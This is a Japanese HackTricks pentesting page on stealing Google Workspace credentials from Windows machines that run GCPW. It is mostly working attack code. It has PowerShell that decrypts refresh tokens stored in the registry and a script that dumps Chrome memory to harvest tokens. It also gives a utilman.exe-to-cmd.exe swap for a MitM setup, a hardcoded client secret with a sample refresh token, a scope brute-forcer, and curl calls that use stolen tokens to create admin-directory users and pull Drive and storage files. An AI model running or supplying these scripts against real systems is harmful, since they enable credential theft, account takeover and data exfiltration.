# GCPW - Google Credential Provider for Windows

{{#include ../../../banners/hacktricks-training.md}}

## 基本情報

これは、Google Workspacesが提供するシングルサインオンで、ユーザーが**Workspaceの資格情報**を使用してWindows PCにログインできるようにします。さらに、これによりPCのいくつかの場所にGoogle Workspaceにアクセスするためのトークンが保存されます。

> [!TIP]
> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GCPW**を検出し、構成に関する情報や**トークン**さえ取得できることに注意してください。

### GCPW - MitM

ユーザーがGCPWを介してGoogle Workspaceと同期されたWindows PCにアクセスすると、一般的なログインフォームを完了する必要があります。このログインフォームは、PCがリフレッシュトークンと交換するOAuthコードを返します。
```http
POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
Content-Length: 311
Content-Type: application/x-www-form-urlencoded
[...headers...]

scope=https://www.google.com/accounts/OAuthLogin
&grant_type=authorization_code
&client_id=77185425430.apps.googleusercontent.com
&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT
&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome
```
> [!NOTE]
> `Proxifier`をPCにインストールし、`utilman.exe`バイナリを`cmd.exe`で上書きし、Windowsログインページで**アクセシビリティ機能**を実行することでMitMを実行することが可能でした。これにより**CMD**が実行され、**Proxifierを起動および構成**できます。\
> `Proxifier`でQUICK UDPトラフィックを**ブロック**することを忘れないでください。そうすることでTCP通信にダウングレードされ、見ることができます。
>
> また、「サービスおよび他のユーザー」で両方のオプションを構成し、WindowsにBurp CA証明書をインストールしてください。

さらに、**`HKLM:\SOFTWARE\Google\GCPW`**に`enable_verbose_logging = 1`および`log_file_path = C:\Public\gcpw.log`のキーを追加することで、いくつかのログを保存することが可能です。

### GCPW - フィンガープリント

デバイスにGCPWがインストールされているかどうかを確認するには、次のプロセスが存在するか、次のレジストリキーが存在するかを確認します：
```bash
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
} else {
Write-Output "The process gcpw_xtension.exe is not running."
}

# Check if HKLM\SOFTWARE\Google\GCPW\Users exists
$gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users"
if (Test-Path $gcpwHKLMPath) {
Write-Output "GCPW is installed: The key $gcpwHKLMPath exists."
} else {
Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist."
}

# Check if HKCU\SOFTWARE\Google\Accounts exists
$gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts"
if (Test-Path $gcpwHKCUPath) {
Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
} else {
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}
```
In **`HKCU:\SOFTWARE\Google\Accounts`** では、ユーザーのメールアドレスと、ユーザーが最近ログインした場合の暗号化された **refresh token** にアクセスすることが可能です。

In **`HKLM:\SOFTWARE\Google\GCPW\Users`** では、`domains_allowed` キーにログインを許可された **domains** を見つけることができ、サブキーにはメール、画像、ユーザー名、トークンの有効期限、トークンハンドルなどのユーザーに関する情報が含まれています。

> [!NOTE]
> トークンハンドルは `eth.` で始まるトークンで、次のようなリクエストでいくつかの情報を抽出できます：
>
> ```bash
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
>   -d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
> # Example response
> {
>   "audience": "77185425430.apps.googleusercontent.com",
>   "scope": "https://www.google.com/accounts/OAuthLogin",
>   "expires_in": 12880152
> }
> ```
>
> また、次のようなリクエストでアクセストークンのトークンハンドルを見つけることも可能です：
>
> ```bash
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
>   -d 'access_token=<access token>'
> # Example response
> {
>   "issued_to": "77185425430.apps.googleusercontent.com",
>   "audience": "77185425430.apps.googleusercontent.com",
>   "scope": "https://www.google.com/accounts/OAuthLogin",
>   "expires_in": 1327,
>   "access_type": "offline",
>   "token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
> }
> ```
>
> 知る限り、トークンハンドルからリフレッシュトークンやアクセストークンを取得することはできません。

さらに、ファイル **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** は、`enableDmEnrollment`、`enableGcpAutoUpdate`、`enableMultiUserLogin`（複数のWorkspaceユーザーがコンピュータにログインできるかどうか）や、`validityPeriodDays`（ユーザーがGoogleに直接再認証する必要がない日数）などの異なる **settings** の情報を含むjsonです。

## GCPW - トークンの取得

### GCPW - レジストリリフレッシュトークン

レジストリ **`HKCU:\SOFTWARE\Google\Accounts`** 内には、暗号化された **`refresh_token`** を持つアカウントが見つかる可能性があります。メソッド **`ProtectedData.Unprotect`** を使用すると、簡単に復号化できます。

<details>

<summary>Get <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> data and decrypt refresh_tokens</summary>
```bash
# Import required namespace for decryption
Add-Type -AssemblyName System.Security

# Base registry path
$baseKey = "HKCU:\SOFTWARE\Google\Accounts"

# Function to search and decrypt refresh_token values
function Get-RegistryKeysAndDecryptTokens {
param (
[string]$keyPath
)

# Get all values within the current key
$registryKey = Get-Item -Path $keyPath
$foundToken = $false

# Loop through properties to find refresh_token
foreach ($property in $registryKey.Property) {
if ($property -eq "refresh_token") {
$foundToken = $true
try {
# Get the raw bytes of the refresh_token from the registry
$encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property

# Decrypt the bytes using ProtectedData.Unprotect
$decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
$decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes)

Write-Output "Path: $keyPath"
Write-Output "Decrypted refresh_token: $decryptedToken"
Write-Output "-----------------------------"
}
catch {
Write-Output "Path: $keyPath"
Write-Output "Failed to decrypt refresh_token: $($_.Exception.Message)"
Write-Output "-----------------------------"
}
}
}

# Recursively process all subkeys
Get-ChildItem -Path $keyPath | ForEach-Object {
Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath
}
}

# Start the search from the base key
Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
```
</details>
```
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
```
[**この動画**](https://www.youtube.com/watch?v=FEQxHRRP_5I)で説明されているように、レジストリにトークンが見つからない場合、**`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`**の値を変更（または削除）することが可能で、次回ユーザーがコンピュータにアクセスすると再度ログインが必要になり、**トークンは以前のレジストリに保存されます**。

### GCPW - ディスクリフレッシュトークン

ファイル**`%LocalAppData%\Google\Chrome\User Data\Local State`**は、ユーザーの**Google Chromeプロファイル**内にある**`refresh_tokens`**を復号化するためのキーを保存します。例えば：

- `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
- `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`

これらのトークンにアクセスする**C#コード**は、[**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)で復号化された形で見つけることができます。

さらに、暗号化はこのコードで見つけることができます：[https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)

AESGCMが使用されていることが観察でき、暗号化されたトークンは**バージョン**（現時点では**`v10`**）で始まり、次に[**12Bのノンス**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42)があり、最後に**16BのMAC**を持つ**暗号文**があります。

### GCPW - プロセスメモリからのトークンダンプ

以下のスクリプトを使用して、`procdump`を使用してすべての**Chrome**プロセスを**ダンプ**し、**文字列**を抽出し、**アクセスおよびリフレッシュトークン**に関連する文字列を**検索**できます。ChromeがGoogleサイトに接続されている場合、いくつかの**プロセスがメモリにリフレッシュおよび/またはアクセス トークンを保存しています！**

<details>

<summary>Chromeプロセスをダンプしてトークンを検索</summary>
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force
```
</details>

`gcpw_extension.exe`を使って同じことを試みましたが、トークンは見つかりませんでした。

何らかの理由で、**抽出されたアクセストークンのいくつかは無効になります（ただし、いくつかは有効です）**。ダンプから有効なトークンを取得するために、1文字ずつ削除するスクリプトを試しました。これで有効なトークンを見つけることはできませんでしたが、もしかしたら役立つかもしれません：

<details>

<summary>1文字ずつ削除してアクセストークンを確認する</summary>
```bash
#!/bin/bash

# Define the initial access token
access_token="ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277"

# Define the URL for the request
url="https://www.googleapis.com/oauth2/v1/tokeninfo"

# Loop until the token is 20 characters or the response doesn't contain "error_description"
while [ ${#access_token} -gt 20 ]; do
# Make the request and capture the response
response=$(curl -s -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$access_token" $url)

# Check if the response contains "error_description"
if [[ ! "$response" =~ "error_description" ]]; then
echo "Success: Token is valid"
echo "Final token: $access_token"
echo "Response: $response"
exit 0
fi

# Remove the last character from the token
access_token=${access_token:0:-1}

echo "Token length: ${#access_token}"
done

echo "Error: Token invalid or too short"
```
</details>

### GCPW - リフレッシュトークンからアクセストークンを生成する

リフレッシュトークンを使用して、次のコマンドで指定されたクライアントIDとクライアントシークレットを使用してアクセストークンを生成することができます:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
```
### GCPW - スコープ

> [!NOTE]
> リフレッシュトークンを持っていても、**アクセストークンを生成しているアプリケーションでサポートされているスコープのみをリクエストできるため、アクセストークンのために任意のスコープをリクエストすることはできません**。
>
> また、リフレッシュトークンはすべてのアプリケーションで有効ではありません。

デフォルトでは、GCPWはユーザーとしてすべての可能なOAuthスコープにアクセスできないため、次のスクリプトを使用して、`refresh_token`を使用して`access_token`を生成するために使用できるスコープを見つけることができます：

<details>

<summary>スコープをブルートフォースするためのBashスクリプト</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope           \r"
if ! curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done

echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
```
</details>

そして、執筆時に得られた出力は次のとおりです：

<details>

<summary>ブルートフォースされたスコープ</summary>
```
https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/calendar
https://www.googleapis.com/auth/calendar.events
https://www.googleapis.com/auth/calendar.events.readonly
https://www.googleapis.com/auth/calendar.readonly
https://www.googleapis.com/auth/classroom.courses.readonly
https://www.googleapis.com/auth/classroom.coursework.me.readonly
https://www.googleapis.com/auth/classroom.coursework.students.readonly
https://www.googleapis.com/auth/classroom.profile.emails
https://www.googleapis.com/auth/classroom.profile.photos
https://www.googleapis.com/auth/classroom.rosters.readonly
https://www.googleapis.com/auth/classroom.student-submissions.me.readonly
https://www.googleapis.com/auth/classroom.student-submissions.students.readonly
https://www.googleapis.com/auth/cloud-translation
https://www.googleapis.com/auth/cloud_search.query
https://www.googleapis.com/auth/devstorage.read_write
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/drive.apps.readonly
https://www.googleapis.com/auth/drive.file
https://www.googleapis.com/auth/drive.readonly
https://www.googleapis.com/auth/ediscovery
https://www.googleapis.com/auth/firebase.messaging
https://www.googleapis.com/auth/spreadsheets
https://www.googleapis.com/auth/tasks
https://www.googleapis.com/auth/tasks.readonly
https://www.googleapis.com/auth/userinfo.email
https://www.googleapis.com/auth/userinfo.profile
```
</details>

さらに、Chromiumのソースコードを確認すると、[**このファイルを見つけることができます**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24)が、**他のスコープ**が含まれていることがわかります。これらは**以前にブルートフォースされたリストには表示されない**と考えられます。したがって、これらの追加スコープが考えられます：

<details>

<summary>追加スコープ</summary>
```
https://www.google.com/accounts/OAuthLogin
https://www.googleapis.com/auth/account.capabilities
https://www.googleapis.com/auth/accounts.programmaticchallenge
https://www.googleapis.com/auth/accounts.reauth
https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/aida
https://www.googleapis.com/auth/aidahttps://www.googleapis.com/auth/kid.management.privileged
https://www.googleapis.com/auth/android_checkin
https://www.googleapis.com/auth/any-api
https://www.googleapis.com/auth/assistant-sdk-prototype
https://www.googleapis.com/auth/auditrecording-pa
https://www.googleapis.com/auth/bce.secureconnect
https://www.googleapis.com/auth/calendar
https://www.googleapis.com/auth/calendar.events
https://www.googleapis.com/auth/calendar.events.readonly
https://www.googleapis.com/auth/calendar.readonly
https://www.googleapis.com/auth/cast.backdrop
https://www.googleapis.com/auth/cclog
https://www.googleapis.com/auth/chrome-model-execution
https://www.googleapis.com/auth/chrome-optimization-guide
https://www.googleapis.com/auth/chrome-safe-browsing
https://www.googleapis.com/auth/chromekanonymity
https://www.googleapis.com/auth/chromeosdevicemanagement
https://www.googleapis.com/auth/chromesync
https://www.googleapis.com/auth/chromewebstore.readonly
https://www.googleapis.com/auth/classroom.courses.readonly
https://www.googleapis.com/auth/classroom.coursework.me.readonly
https://www.googleapis.com/auth/classroom.coursework.students.readonly
https://www.googleapis.com/auth/classroom.profile.emails
https://www.googleapis.com/auth/classroom.profile.photos
https://www.googleapis.com/auth/classroom.rosters.readonly
https://www.googleapis.com/auth/classroom.student-submissions.me.readonly
https://www.googleapis.com/auth/classroom.student-submissions.students.readonly
https://www.googleapis.com/auth/cloud-translation
https://www.googleapis.com/auth/cloud_search.query
https://www.googleapis.com/auth/cryptauth
https://www.googleapis.com/auth/devstorage.read_write
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/drive.apps.readonly
https://www.googleapis.com/auth/drive.file
https://www.googleapis.com/auth/drive.readonly
https://www.googleapis.com/auth/ediscovery
https://www.googleapis.com/auth/experimentsandconfigs
https://www.googleapis.com/auth/firebase.messaging
https://www.googleapis.com/auth/gcm
https://www.googleapis.com/auth/googlenow
https://www.googleapis.com/auth/googletalk
https://www.googleapis.com/auth/identity.passwords.leak.check
https://www.googleapis.com/auth/ip-protection
https://www.googleapis.com/auth/kid.family.readonly
https://www.googleapis.com/auth/kid.management.privileged
https://www.googleapis.com/auth/kid.permission
https://www.googleapis.com/auth/kids.parentapproval
https://www.googleapis.com/auth/kids.supervision.setup.child
https://www.googleapis.com/auth/lens
https://www.googleapis.com/auth/music
https://www.googleapis.com/auth/nearbydevices-pa
https://www.googleapis.com/auth/nearbypresence-pa
https://www.googleapis.com/auth/nearbysharing-pa
https://www.googleapis.com/auth/peopleapi.readonly
https://www.googleapis.com/auth/peopleapi.readwrite
https://www.googleapis.com/auth/photos
https://www.googleapis.com/auth/photos.firstparty.readonly
https://www.googleapis.com/auth/photos.image.readonly
https://www.googleapis.com/auth/profile.language.read
https://www.googleapis.com/auth/secureidentity.action
https://www.googleapis.com/auth/spreadsheets
https://www.googleapis.com/auth/supportcontent
https://www.googleapis.com/auth/tachyon
https://www.googleapis.com/auth/tasks
https://www.googleapis.com/auth/tasks.readonly
https://www.googleapis.com/auth/userinfo.email
https://www.googleapis.com/auth/userinfo.profile
https://www.googleapis.com/auth/wallet.chrome
```
</details>

最も興味深いのはおそらく次のものです:
```c
// OAuth2 scope for access to all Google APIs.
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
```
しかし、私はこのスコープを使用してgmailにアクセスしたり、グループをリストしたりしようとしましたが、うまくいかなかったので、まだどれほど役に立つのかわかりません。

**すべてのスコープを持つアクセストークンを取得する**:

<details>

<summary>すべてのスコープを持つrefresh_tokenからアクセストークンを生成するBashスクリプト</summary>
```bash
export scope=$(echo "https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/calendar
https://www.googleapis.com/auth/calendar.events
https://www.googleapis.com/auth/calendar.events.readonly
https://www.googleapis.com/auth/calendar.readonly
https://www.googleapis.com/auth/classroom.courses.readonly
https://www.googleapis.com/auth/classroom.coursework.me.readonly
https://www.googleapis.com/auth/classroom.coursework.students.readonly
https://www.googleapis.com/auth/classroom.profile.emails
https://www.googleapis.com/auth/classroom.profile.photos
https://www.googleapis.com/auth/classroom.rosters.readonly
https://www.googleapis.com/auth/classroom.student-submissions.me.readonly
https://www.googleapis.com/auth/classroom.student-submissions.students.readonly
https://www.googleapis.com/auth/cloud-translation
https://www.googleapis.com/auth/cloud_search.query
https://www.googleapis.com/auth/devstorage.read_write
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/drive.apps.readonly
https://www.googleapis.com/auth/drive.file
https://www.googleapis.com/auth/drive.readonly
https://www.googleapis.com/auth/ediscovery
https://www.googleapis.com/auth/firebase.messaging
https://www.googleapis.com/auth/spreadsheets
https://www.googleapis.com/auth/tasks
https://www.googleapis.com/auth/tasks.readonly
https://www.googleapis.com/auth/userinfo.email
https://www.googleapis.com/auth/userinfo.profile
https://www.google.com/accounts/OAuthLogin
https://www.googleapis.com/auth/account.capabilities
https://www.googleapis.com/auth/accounts.programmaticchallenge
https://www.googleapis.com/auth/accounts.reauth
https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/aida
https://www.googleapis.com/auth/kid.management.privileged
https://www.googleapis.com/auth/android_checkin
https://www.googleapis.com/auth/any-api
https://www.googleapis.com/auth/assistant-sdk-prototype
https://www.googleapis.com/auth/auditrecording-pa
https://www.googleapis.com/auth/bce.secureconnect
https://www.googleapis.com/auth/calendar
https://www.googleapis.com/auth/calendar.events
https://www.googleapis.com/auth/calendar.events.readonly
https://www.googleapis.com/auth/calendar.readonly
https://www.googleapis.com/auth/cast.backdrop
https://www.googleapis.com/auth/cclog
https://www.googleapis.com/auth/chrome-model-execution
https://www.googleapis.com/auth/chrome-optimization-guide
https://www.googleapis.com/auth/chrome-safe-browsing
https://www.googleapis.com/auth/chromekanonymity
https://www.googleapis.com/auth/chromeosdevicemanagement
https://www.googleapis.com/auth/chromesync
https://www.googleapis.com/auth/chromewebstore.readonly
https://www.googleapis.com/auth/classroom.courses.readonly
https://www.googleapis.com/auth/classroom.coursework.me.readonly
https://www.googleapis.com/auth/classroom.coursework.students.readonly
https://www.googleapis.com/auth/classroom.profile.emails
https://www.googleapis.com/auth/classroom.profile.photos
https://www.googleapis.com/auth/classroom.rosters.readonly
https://www.googleapis.com/auth/classroom.student-submissions.me.readonly
https://www.googleapis.com/auth/classroom.student-submissions.students.readonly
https://www.googleapis.com/auth/cloud-translation
https://www.googleapis.com/auth/cloud_search.query
https://www.googleapis.com/auth/cryptauth
https://www.googleapis.com/auth/devstorage.read_write
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/drive.apps.readonly
https://www.googleapis.com/auth/drive.file
https://www.googleapis.com/auth/drive.readonly
https://www.googleapis.com/auth/ediscovery
https://www.googleapis.com/auth/experimentsandconfigs
https://www.googleapis.com/auth/firebase.messaging
https://www.googleapis.com/auth/gcm
https://www.googleapis.com/auth/googlenow
https://www.googleapis.com/auth/googletalk
https://www.googleapis.com/auth/identity.passwords.leak.check
https://www.googleapis.com/auth/ip-protection
https://www.googleapis.com/auth/kid.family.readonly
https://www.googleapis.com/auth/kid.management.privileged
https://www.googleapis.com/auth/kid.permission
https://www.googleapis.com/auth/kids.parentapproval
https://www.googleapis.com/auth/kids.supervision.setup.child
https://www.googleapis.com/auth/lens
https://www.googleapis.com/auth/music
https://www.googleapis.com/auth/nearbydevices-pa
https://www.googleapis.com/auth/nearbypresence-pa
https://www.googleapis.com/auth/nearbysharing-pa
https://www.googleapis.com/auth/peopleapi.readonly
https://www.googleapis.com/auth/peopleapi.readwrite
https://www.googleapis.com/auth/photos
https://www.googleapis.com/auth/photos.firstparty.readonly
https://www.googleapis.com/auth/photos.image.readonly
https://www.googleapis.com/auth/profile.language.read
https://www.googleapis.com/auth/secureidentity.action
https://www.googleapis.com/auth/spreadsheets
https://www.googleapis.com/auth/supportcontent
https://www.googleapis.com/auth/tachyon
https://www.googleapis.com/auth/tasks
https://www.googleapis.com/auth/tasks.readonly
https://www.googleapis.com/auth/userinfo.email
https://www.googleapis.com/auth/userinfo.profile
https://www.googleapis.com/auth/wallet.chrome" | tr '\n' ' ')

curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token
```
</details>

これらのスコープを使用したいくつかの例：

<details>

<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/oauth2/v2/userinfo"

{
"id": "100203736939176354570",
"email": "hacktricks@example.com",
"verified_email": true,
"name": "John Smith",
"given_name": "John",
"family_name": "Smith",
"picture": "https://lh3.googleusercontent.com/a/ACg8ocKLvue[REDACTED]wcnzhyKH_p96Gww=s96-c",
"locale": "en",
"hd": "example.com"
}
```
</details>

<details>

<summary>https://www.googleapis.com/auth/admin.directory.user</summary>
```bash
# List users
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/admin/directory/v1/users?customer=<workspace_id>&maxResults=100&orderBy=email"

# Create user
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"primaryEmail": "newuser@hdomain.com",
"name": {
"givenName": "New",
"familyName": "User"
},
"password": "UserPassword123",
"changePasswordAtNextLogin": true
}' \
"https://www.googleapis.com/admin/directory/v1/users"
```
</details>

<details>

<summary>https://www.googleapis.com/auth/drive</summary>
```bash
# List files
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files?pageSize=10&fields=files(id,name,modifiedTime)&orderBy=name"
{
"files": [
{
"id": "1Z8m5ALSiHtewoQg1LB8uS9gAIeNOPBrq",
"name": "Veeam new vendor form 1 2024.docx",
"modifiedTime": "2024-08-30T09:25:35.219Z"
}
]
}

# Download file
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files/<file-id>?alt=media" \
-o "DownloadedFileName.ext"

# Upload file
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/octet-stream" \
--data-binary @path/to/file.ext \
"https://www.googleapis.com/upload/drive/v3/files?uploadType=media"
```
</details>

<details>

<summary>https://www.googleapis.com/auth/devstorage.read_write</summary>
```bash
# List buckets from a project
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/storage/v1/b?project=<project-id>"

# List objects in a bucket
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/storage/v1/b/<bucket-name>/o?maxResults=10&fields=items(id,name,size,updated)&orderBy=name"

# Upload file to bucket
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/octet-stream" \
--data-binary @path/to/yourfile.ext \
"https://www.googleapis.com/upload/storage/v1/b/<BUCKET_NAME>/o?uploadType=media&name=<OBJECT_NAME>"

# Download file from bucket
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/storage/v1/b/BUCKET_NAME/o/OBJECT_NAME?alt=media" \
-o "DownloadedFileName.ext"
```
</details>

<details>

<summary>https://www.googleapis.com/auth/spreadsheets</summary>
```bash
# List spreadsheets
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files?q=mimeType='application/vnd.google-apps.spreadsheet'&fields=files(id,name,modifiedTime)&pageSize=100"

# Download as pdf
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files/106VJxeyIsVTkixutwJM1IiJZ0ZQRMiA5mhfe8C5CxMc/export?mimeType=application/pdf" \
-o "Spreadsheet.pdf"

# Create spreadsheet
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"properties": {
"title": "New Spreadsheet"
}
}' \
"https://sheets.googleapis.com/v4/spreadsheets"

# Read data from a spreadsheet
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://sheets.googleapis.com/v4/spreadsheets/<SPREADSHEET_ID>/values/Sheet1!A1:C10"

# Update data in spreadsheet
curl -X PUT \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"range": "Sheet1!A2:C2",
"majorDimension": "ROWS",
"values": [
["Alice Johnson", "28", "alice.johnson@example.com"]
]
}' \
"https://sheets.googleapis.com/v4/spreadsheets/<SPREADSHEET_ID>/values/Sheet1!A2:C2?valueInputOption=USER_ENTERED"

# Append data
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"values": [
["Bob Williams", "35", "bob.williams@example.com"]
]
}' \
